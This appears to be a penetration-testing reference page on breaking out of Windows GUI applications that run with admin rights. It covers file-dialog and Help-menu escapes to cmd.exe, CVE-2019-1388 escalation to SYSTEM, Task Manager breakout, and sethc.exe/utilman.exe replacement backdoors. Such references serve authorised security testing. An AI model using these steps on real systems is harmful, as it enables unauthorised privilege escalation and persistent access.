Insecure GUI Applications

Documentation Index

Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt

Use this file to discover all available pages before exploring further.

​

Overview

​

Identify GUI Apps Running as Admin

tasklist /v | findstr /i "admin"

Get-Process | Where-Object { $_.MainWindowTitle -ne "" } | Select ProcessName, Id, MainWindowTitle

​

File Dialog Escape

​

Steps

1. Open the elevated application
2. Navigate to File → Open (or Save As, Print, Help)
3. In the file dialog address bar, type:

C:\Windows\System32\cmd.exe

4. Press Enter → cmd.exe opens with the application’s privileges

​

Alternative Paths

\\127.0.0.1\c$\Windows\System32\cmd.exe
file:///C:/Windows/System32/cmd.exe

​

Right-click in File Dialog

1. In file dialog, navigate to C:\Windows\System32
2. Right-click → Open → select cmd.exe

​

Help Menu Escape

1. Open Help → About or press F1
2. If browser opens → navigate to:

file:///C:/Windows/System32/cmd.exe

3. Or use address bar to navigate to local files

​

Paint / Notepad / WordPad

​

Notepad

File → Open → type C:\Windows\System32\cmd.exe → Enter

​

Paint

File → Open → navigate to C:\Windows\System32 → change file type to "All Files" → right-click cmd.exe → Open

​

Internet Explorer / Edge (Legacy)

file:///C:/Windows/System32/cmd.exe

C:\Windows\System32\cmd.exe

​

CVE-2019-1388 — Certificate Dialog

​

Requirements

• Windows 7/8/10 (pre-patch)
• Need a signed executable with a certificate that has a URL in the issuer field

​

Steps

1. Run a signed binary (e.g., hhupd.exe)
2. UAC prompt appears → click “Show more details”
3. Click “Show information about the publisher’s certificate”
4. Click the issuer URL link → browser opens as SYSTEM
5. Save As → navigate to C:\Windows\System32\cmd.exe

​

Find Suitable Binary

https://github.com/jas502n/CVE-2019-1388

​

Citrix / RDP Breakout

​

Task Manager

Ctrl+Shift+Esc → File → New Task → cmd.exe

​

Sticky Keys Replacement (Physical/RDP)

copy C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe

​

Utilman Replacement

copy C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe

​

Quick Reference